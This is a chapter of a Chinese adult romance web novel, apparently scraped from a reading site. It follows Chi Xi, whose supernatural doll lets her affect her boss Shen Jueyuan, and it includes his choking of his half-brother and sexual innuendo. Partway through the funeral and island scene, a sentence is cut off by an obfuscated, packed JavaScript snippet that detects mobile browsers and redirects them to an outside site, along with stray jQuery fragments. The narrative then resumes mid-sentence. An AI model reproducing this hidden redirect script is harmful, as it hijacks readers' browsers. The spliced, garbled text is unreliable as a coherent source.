18.第十八章

作品:《当我获得上司的共感娃娃后

    池溪最害怕发生的事情还是发生了。


    柜门打开的瞬间,沈司桥从里面滚了出来,甚至将衣柜内的衣服也带出了一部分。


    房内的灯并没有全部打开,只有靠近床侧的壁灯开了一两盏。昏黄复古的灯盏,总能让池溪联想到自己曾经看过的一些美剧。


    她很喜欢可见度低的灯光所带来的那种暧昧不清的氛围感。


    可是现在,她却因为这种氛围感而陷入一种无边的恐惧之中。


    衣柜距离床有一段距离,显然是灯光无法顾及到的地方。


    沈决远站在那里,高大的身形完全压制着躺在地上的沈司桥。沈司桥此时被笼罩在他巨大的阴影当中,抿了抿唇,在面对他哥时,全然没了平时的玩世不恭。


    他从地上站起来:“哥.....”


    沈决远并没有不分青红皂白就去质问他们。


    而是不紧不慢地点燃一支烟克制住情绪,非常包容地给了他解释的机会。


    在某种意义上,他的确是个好哥哥,好床伴。


    连抽烟的动作都如此优雅:“说吧,为什么会在这里。”


    池溪硬着头皮想解释,但沈决远用眼神示意她先闭上嘴。


    他的眼神淡而平静,没有丝毫的威胁,池溪还是被吓到不敢开口。


    沈司桥一副视死如归的神情,艰难地表明自己的立场:“哥,我不会破坏你们的感情。”


    比起沈司桥,沈决远淡定的仿佛置身事外。


    他气定神闲地掸了掸烟灰:“哦,你想怎么做?”


    “我....”像是下定决心,沈司桥屈辱地说,“我愿意...一周只来找她两次,您没空的时候我再....”


    对沈司桥来说,这的确是一种屈辱。


    池溪的眼睛都瞪大了。她什么时候说过同意他当自己的小三了?现在连出轨这种事情都不需要当事人同意了吗,小三单方面就可以决定了?


    但窝囊废池溪现在一句话也不敢说,她就像是一个无能的丈夫,等待强势的妻子替她出面解决这件事。


    沈决远没有说话,池溪庆幸他高大强悍的躯体被遮蔽在禁欲清冷的西装之中,否则他们此刻能够感受到的压迫感肯定是现在的百倍千倍。


    最近北城的天气一直都很差,要么是下雪,要么就是下大雨。今天这场雨更是从早上下到了现在。


    按理说这个天气不适合起飞,不过那架强悍的湾流g700可以在这场风暴中平稳降落。


    一如沈决远这个人,无论是在面对大事小事,他永远一副置身事外的优雅从容:“你是说,你是心甘情愿去当别人的第三者?”


    沈司桥点了点头。


    池溪还是第一次发现名震北城的沈二少也有这么局促的时候,他甚至不敢看他哥的眼睛。


    说话也是在看别的地方:“更何况当第三者也没什么不好的,只要她愿意,她愿意就行....”


    “她愿意?”男人的声音很平淡。


    话是对着沈司桥说的,阴沉的眼神却看向了池溪。


    北欧人的骨相比国人深邃立体,这是由于地域环境影响造成的,人体为了抵御寒冷,所以演化出了更加立体的轮廓。


    看似轻描淡写的眼神,实则带着让人无法抗拒的强势震慑力和压迫感。池溪摇头,想要反驳:“我没有...”


    “对,她愿意。”沈司桥却突然在此时上演一副罗密欧与朱丽叶,梁山伯与祝英台的戏码,而沈决远,俨然就是那个拆散他们的强大阻力,“她愿意的,我甚至和她说好要去入珠,我为了她可以.....”


    “你知道你在说什么吗。”沈决远实在听不下去了,他眉头紧锁,全然失了刚才的典雅淡定。扔掉手中的烟,掐着沈司桥的脖子将他按在身后的墙上。


    以长辈的口吻厉声批评他,“你怎么这么不知廉耻?”


    他高大的身形和强大的气场所带来的压迫感实在太可怕,屋子里的温度仿佛也因为他的态度骤变而迅速降低。


    沈司桥被掐到说不出话,不敢反抗也没能力反抗。


    沈司桥迟钝地察觉到,他哥这番话里,不止是长辈的批评,还有一种更为复杂且无法被看透的情绪。


    如果他真的想对自己做点什么,沈司桥想,自己一丁点的反抗能力也没有。


    不论是压他一头的身高,还是密度更强的肌肉,抑或是可怕的力量感。


    那只掐着自己脖子的手,甚至只要稍微用点力,自己可能就会当场殒命了。


    手臂绷起的肌肉线条和青筋慢慢淡去,在沈司桥觉得自己眼前的景色因为缺氧而逐渐变黑时,沈决远松开了手。他显然已经平复好心情,重新恢复到以往的温润端方。


    刚才的确是他有所失态。


    有那么一瞬间居然真的想要掐死自己这个同父异母的弟弟。


    沈决远将领带整理好:“你先出去吧。”


    沈司桥却不放心地看了一眼池溪。池溪不清楚这个吊儿郎当的二世祖为什么突然开始关心她:“池溪她.....”


    沈决远一个眼神就让沈司桥闭上了嘴。他从他哥的眼神里看到了警告,很显然,这已经是他最后的耐心了。


    即使心里再不情愿,沈司桥还是一步三回头地出了门。


    他脚上穿着那双池溪拿给他的室内拖鞋,


    这是她房间内唯一一双多余的拖鞋。沈司桥离开时甚至忘了将鞋子换回来。


    沈决远不动声色地垂眸,看到他脚上和池溪同款的拖鞋,以及那双还放着门口玄关处的男士运动鞋。他眼眸沉了沉,将那双碍眼的鞋子踢了出去,然后用力地关上房门。


    池溪在那一刻想的居然是,皮鞋果然比运动鞋更有男人味。


    但很快,她就没有这种多余的念头了。


    因为为她分担主要注意力的沈司桥走了之后,就只剩下她和沈决远在这里独处。


    她结结巴巴地开口:“我觉得..我被仙人跳了。”


    沈决远没有理会她,而是泰然自若地在这个房间里走了一遍,他的目光扫视过房间的每一个角落,没有错过任何一个细节。


    整齐的床铺,干净的落地玻璃,没有使用过的浴室,甚至连地板都是干燥柔软的。


    池溪告诉他自己是冤枉的:“他突然就进来了,说了一大堆我配不上你的话,然后又自说自话的说愿意当我的小三,甚至不给我拒绝的机会,我只要开口就会被他打断。”


    她以为沈决远生气是因为她‘勾引’他的弟弟。


    池溪心里清楚,郑伯母和沈伯父都很担心她会和沈司桥在一起。


    她之前觉得他们的担忧非常莫须有,因为她和沈司桥绝无可能。


    没想到一切都是有迹可循的,沈司桥那个纨绔居然真的喜欢她.....


    他被伯父伯母宠坏了,是这北城出了名的二世祖,在中央大街撒钱造成交通瘫痪,飙车撞到人,读书时更是霸凌同学,把人家逼到退学险些自杀。


    除了那张人模狗样的好皮囊之外,可以说是一无是处。


    这样的人,池溪怎么可能会动心。


    就算是当小三也轮不到他。


    -


    晚餐时间,沈决远语气淡漠地宣布了沈司桥的未来:“后天我会安排人将他送去法国,那里有一所全封闭式学校,我认为会很适合他。”


    法国?全封闭式的学校?


    郑娴一听这话急了:“怎么能去法国呢,想学习国内就可以。而且司桥已经毕业了。”


    沈决远淡定地品尝盘中鹿肉,挺直的脊背和优雅的举动,哪怕是简单的切割鹿肉的动作,都显得尤为赏心悦目:“他的个性再不加以约束,迟早会闯出大祸。那所学校的创办人是我的朋友,我有参与投资,关于他的安全问题完全可以放心。”


    郑娴心疼儿子,怎么可能愿意他去那种地方,而且全封闭式,谁知道他在里面过的好不好。


    但对于这位继子,她实在没有和他过多交流的勇气,只能将求助的目光投向自己的丈夫。


    沈予亨也觉得这个做法多有不妥。就算真的要继续上学,国内这么多所好学校,为什么非得去法国那么远。


    “决远,你看这....”


    他甚至来不及说完一句话,便被沈决远礼貌地打断,他放下刀叉,拿餐巾擦嘴:“我既然做出这个决定,说明经过了长久考虑。您希望他的未来耗在法国学校内,还是在葬送在中国的监狱里?”


    他这一番话彻底堵死了沈予亨接下来要说的所有话。


    他自然清楚自己这个小儿子是个什么品行,这一切都因为他们的溺爱导致。


    而这一次,他的溺爱改变不了什么。


    他不止清楚自己小儿子的品行,也了解自己的长子是个怎样说一不二的强势性格。


    一旦是他做好的决定,没有任何人可以改变。


    沈司桥始终一言不发,池溪也是低头吃饭。


    饭桌上,气氛凝固到有些诡异。


    沈决远的视线偶尔会落在池溪的身上,她全程都是安静地吃着饭,似乎担心闹出一点细微的动静就会让沈决远注意到她。


    然后将她也一起打包扔去法国,去读那个所谓的封闭式学校。


    她的沉默也让沈决远握紧了刀叉。


    沈司桥还是走了。


    走之前池溪没能和他见上最后一面,她庆幸没有和他见上最后一面。


    她这几天满脑子都是沈司桥拉开上衣让她去看自己胸口那两个乳钉的画面。


    是的,在说服自己给她当小三之后,沈司桥献祭一般地拉开了自己的上衣。


    他说这两个乳钉是为了她特地去打的:“我知道你喜欢男人的胸。”


    池溪当场就愣住了:“我什么时候.....”


    所以在沈决远进来的时候,她才会如此慌乱。这种感觉就像是他们真的做了什么苟且的事情一样。


    她不知道的是,在离开之前,沈决远亲自去送了沈司桥。


    他以兄长的口吻让他到了那边要听话,他会根据老师对他的评价来决定什么时候接他回来。


    面对他哥,沈司桥全然没了平时的二世祖模样。


    一反常态的乖巧,点头:“我知道了。”


    沈决远关心他:“最近还会闻到那股熟悉的香味吗?”


    沈司桥心里一阵触动,虽然想到了池溪,但还是摇头:“没有了。”


    闻言,兄长的表情似乎缓和了一些。


    沈司桥在登机前,兄长问了他最后一个问题。


    “这段时间里,会有被人抱着的错误感觉吗?”


    这是一个有些奇怪的问题,沈司桥摇头:“除了经常被扇巴掌之外,没有别的感觉了。”


    他不知道自己这个回答有什么精妙之处。


    但兄长第一次对他露出了微笑。


    “一路顺风。”


    这让沈司桥受宠若惊。


    -


    池溪担心的事情没有发生,沈决远没有将她也一起送去法国。


    这几天她只要有空了就会给沈决远发消息解释——我真的是冤枉的。


    ——我和沈司桥根本就没有那种关系。


    ——那你给我的奖励会收回去吗(???︿???)


    最后这句话才是她关心的。


    好不容易涨了工资,不想这么快又降回来。


    不过发出去的消息宛如石沉大海,迟迟没有等来回复。


    唯一庆幸的是,提心吊胆的等了几天,并没有等到人事部的降职提醒。


    反而是部长,一大早过来,将那份策划案重新递给她:“拿回去修改。”


    池溪伸手接过,早就习以为常。


    但听说策划案被董事长亲自卡回来的时候,她的的确确愣了好一会儿。


    不是吧,能交给她负责的策划案能是什么大项目,怎么还被递到董事长面前去了。


    难道是他为了故意给自己使绊子?


    不怪池溪会这么想,沈决远是出了名的挑剔,公司上下的员工哪个不是像怕鬼一样怕他。


    “沈董是不是对你有什么不满?”就连微微也察觉到不对劲。虽然普通员工和董事长这种身份的人扯上关系非常的无稽之谈,但这段时间的种种事情不得不让人感到困惑。


    这是池溪转正后第一次独立完成的方案,一个很小的项目。


    好比五万的房子和五千万的区别。


    这点不值一提的的利润甚至连部长都不会亲自过目,却被递到了董事长面前,最后被董事长打回来重做。


    这意味着什么,意味着用五万的价值来达成五千万的标准。


    池溪咬了咬牙,有点不爽。


    看来沈决远这个臭男人并没有她想象中的大度,他这是在责怪她勾引了他弟弟,还是在责怪她‘劈腿’?


    池溪不由得想起前天,沈决远来到她的房间找她。


    她觉得很诡异。


    那个情节出自于她最近看的一部食之无味弃之可惜的漫画。


    作为论坛的资深发帖人,池溪经常会给刚加入论坛的萌新分享漫画,以及上传熟肉链接。


    ——这部漫画的画风很美,男主的身材斯哈斯哈,剧情一般。喜欢边控的可以吃一口。但我不是很喜欢,讨厌这种被吊的虚无感。强高才是永远的神,有这口饭的可以推荐给我,摩多摩多!


    池溪想,就算娃娃没有换绑定人,就算沈决远照常会被控制。


    但为什么她明确表明了不喜欢的剧情也会在自己身上上演。


    她真的很讨厌来到爆发边缘,然后对方故意不给的控制。


    她蹭着床面,表情痛苦。


    “今天就先到这里,我还有工作需要处理。”


    男人从容抽身,甚至体贴入微地替她把被子盖好。


    双眼失神的池溪抱着他替自己盖被子的手臂不肯松开:“再留一会吧.....我马上就好,还差一点点.....”


    她双手合抱,他身上的那件衬衫,袖口早就卷至小臂,用袖箍固定住。肉眼可见的肌肉线条,将那条禁欲的袖箍撑到绷紧。


    更别提是一览无余的小臂。


    手臂上的青筋给她蹭一蹭都行。


    沈决远无动于衷替她将灯关了:“早点休息。”


    他起身,池溪看着他开门离开的背影。宽厚的背阔肌让衬衫没有一点松垮的痕迹,就连高贵笔挺的西装马甲也到了严丝合缝的地步。


    剧情走向和那部她不怎么喜欢的漫画一样。


    池溪躺在床上,感受着和漫画里女主角一样的虚无情绪。


    被抛到云端又突然放任不管。


    贱男人。


    回想起这一幕,此时抱着全是批改痕迹的策划书,再次勾起了池溪对这位冷酷冷血且绝情的该死上司的怨恨。


    -


    母亲的葬礼定在圣诞节,耶稣诞生日。


    这是母亲自己的要求,她生前一直信奉基督教。每年给教堂捐赠的善款让她拥有了无数虔诚的信徒。他们纷纷写信寄到达根州,希望可以去参加这位善良且有大爱的女性的葬礼。


    事实上,沈决远并不明白这群人为什么要因为一个从未见过面的陌生人而流泪。


    但他还是按照母亲生前的遗愿,同意了这些接受过捐赠的人前来参加葬礼。


    今天这场会议是在一座独立的小岛上进行,这几位商业伙伴得知他在守孝期,为了表示对这位贵客的重视,每个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074338|194198||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人都在手臂上佩戴着一块黑布。


    即使知道,国外可能并没有这个礼节。


    长达两个小时的商业会谈,在与外界完全封闭的这座小岛上周密地宣告了结束。


    安德鲁邀请他去放松下身体,在这座享乐之岛上。


    他无法提前摸清这位年轻上位者在那方面有什么癖好。


    唯一可以调查到的信息就是他的中文名。


    此时漫不经心地抽着雪茄,拉夫劳伦的针织衫随意地套在衬衫外面,下身是休闲的棕色长裤,整个人松弛又随性。只从穿着就可以看出他对今天这场会议的不重视。


    镜片下的眼眸平静如水,雪茄燃烧时升起的烟雾让他本就喜怒不显的神情更加难懂。


    安德鲁按照不同的风格,给沈决远准备了这次的一夜情伴侣。


    但沈决远似乎没有这方面的需求。


    安德鲁想,或许他早就脱离了□□之欢带来的低级趣味了。


    他的野心大到想要吞下整个地球。


    与其说是合作,但他心里清楚,沈决远正在一点一点‘吃掉’他的产业。


    可对方的高明之处就在于,即使心里清楚,自己的产业正在被他吞并,或许不久后安德鲁的名字就会以破产企业家的头衔出现在报纸上。


    但他仍旧心甘情愿地和对方保持稳定的合作关系。


    安德鲁认为面前这个男人的可怕之处就在于,他会不动声色的从思想上驯服你,让你变得忠心,渴望获得他的认可。


    即使这份认可的代价是让自己的巨额资产全部亏损。


    当那股熟悉的香味再次出现时,意兴阑珊的沈决远微微坐直身子。他的视线先是在室内搜寻了一圈,然后才确信这股味道的来源。


    廉价刺鼻的香味,他忘了自己究竟有多久没有闻到过了。


    安德鲁注意到沈决远平淡的神情出现波澜,以为他是来了兴致,他立马殷勤开口:“我让玛莎进来?她是俄罗斯模特。”


    安德鲁知道,这位中欧混血的男士,他在挪威长大,喜好与审美肯定更贴近挪威当地的习性。


    俄罗斯与北欧接壤,那种立体深邃的完美骨相脸,以及火辣高挑的身材,肯定会让沈决远满意。


    他这种生活在冰原,狼性很足的男人,往往更喜欢难以驯服的女性。


    安德鲁绝非是种族歧视,但他觉得中国女性脾气好的占据大多数,她们太有礼貌了,并且都很矜持。


    以沈决远这种看似冰冷漠然,实则追求刺激的人来说,他肯定喜欢更火辣的。


    ——啪


    伴随轻微的声响,男人微微侧头,鼻梁上的半框眼镜甚至被打歪了一些。


    安德鲁站在那里,愣住了。


    刚才是他的错觉吗,为什么他会认为...沈决远被空气扇了一巴掌?


    挨打的当事人却无比从容,他慢条斯理地扶正眼镜,冰冷镜片下,他的眼神没有任何怒意,有的只是藏在平静下,克制后的淡淡兴奋。


    “你先出去吧。”他摘了眼镜,语气一如既往的平稳,淡漠。


    “那玛莎.....”安德鲁迟疑,


    沈决远:“祝你有个美妙的夜晚。”


    他似乎有些急切,希望对方能赶紧离开。


    所以多余的话一句也不想说,以这句轻描淡写的话拒绝了他接下来的所有示好。


    好吧,看来他还是不愿意让他的精-液留在这座小岛上。


    安德鲁离开了,没有继续打扰他的独处。


    池溪怀着怒气重新把娃娃绑定在沈决远的身上。


    然后将娃娃当成沈决远殴打一通之后,发现除了自己累点之外,该解的气并没有解多少。


    还是得乖乖修改策划案。


    其实最近这段时间她一有空就会去买娃娃的那个天桥晃悠,试图找到那个卖给她娃娃的摊主。


    这个东西在某种意义上就像是一个定时炸弹。它似乎没办法恢复出厂设置,必须得在找到新的绑定人之后,才能解除前面的绑定人。


    并且这个娃娃还不能扔掉。


    万一被不知情的人捡去了怎么办?


    被垃圾车收走才是最可怕的。她听说被运到垃圾场的东西都会经过反复的压缩处理。


    池溪无法想象人体会拥有怎样的痛感。


    啊!这不行那也不行,那她应该怎么办!


    池溪沉浸在痛苦中,没注意到那瓶香水还放在桌上忘了收起来。


    之前的用完了,她又约了朋友去店里按照相同的配方diy了几瓶一样的香水。


    虽然沈决远傲慢的点评这股味道很廉价,但池溪喜欢。


    放在桌上的香水被她不小心弄倒,全洒了,甚至有一些洒在了娃娃身上。池溪皱着眉,一波未平一波又起。


    她痛苦地从床上起身,现在又多出一项给娃娃洗澡的工程。


    严格意义上讲,这是她购入这只娃娃这么久,第一次给它洗澡。


    按照网上清理bjd的教程,先脱掉娃娃的衣服,然后拿出海绵轻轻擦拭。


    娃娃的关节是可以活动的,她需要仔细到角落也不能放过,否则污渍会藏在缝隙处。


    她捏着娃娃的腿轻轻朝前移动,直到娃娃的膝关节露出来,她用小刷子一点一点的扫去有可能存在的灰尘。


    看来娃娃不止是脸会像被绑定人,身材也是....


    池溪感兴趣地伸手戳了戳娃娃鼓囊囊的胸肌,真不知道他是怎么练的。工作这么忙也有时间去健身房。


    她一直很好奇,他的双开门宽肩究竟能不能侧躺着睡。还有他平时穿裤子的时候是放在哪边。男人的西裤藏着那么一大坨都不会觉得羞耻吗?


    大街上却总能遇到对着不穿bra的女性指指点点的人。真是不公平。


    沈决远在北美,和这边十三小时的时差。就算他工作再晚,这个点肯定也休息了。


    池溪并不担心她在给娃娃做清洁的时候,大洋彼岸的沈决远会有感觉。


    毕竟他有时候会依靠安眠药来进入睡眠状态。


    然而这位本该靠安眠药进入睡眠的男士,却在她思考这些问题的时候给她发来了信息。


    是一句类似关心的询问。


    “怎么还不休息?”


    可透过冰冷的文字,她分不清是关心还是质问。


    他怎么知道她还没睡?


    池溪拿着手机四处看了看,他应该...不至于在她的房间安装监控。


    “就要睡了。”她说。


    或许是为了掩饰自己的心虚,她甚至还发了一个无比可爱的表情包。


    ——一只可爱的萌萌兔裹着被子躺在床上滚来滚去。


    消息发过去后,手机便一直处在无信息状态。


    对于池溪这种习惯秒回消息的人来说,等待对方的信息是一件很痛苦的事情。


    她抱着手机不满地嘟囔,被她萌晕过去了吗?


    她刚要把手机放下,震动声提醒她有新消息进入。


    是沈决远。


    ——方便接视频吗。


    “啊?”她愣住,下意识看了眼镜子,刚洗完澡的她头发处在半干状态,素面朝天的那张脸因为前几天通宵打游戏而显得苍白憔悴。


    实在是有点不堪入目,尤其是沈决远这么挑剔的完美主义,虽然以他的绅士礼仪和教养不会当面指责她外形的‘邋遢’。


    但池溪不希望自己在他心目中留下个不好的印象。毕竟她也只有这张脸还算的上精彩了。


    她想拒绝,一行字才打了一半,甚至来不及发送。——还是别.....


    对话框弹出一条新信息。


    是一条邀请:


    ——要不要看我扌鲁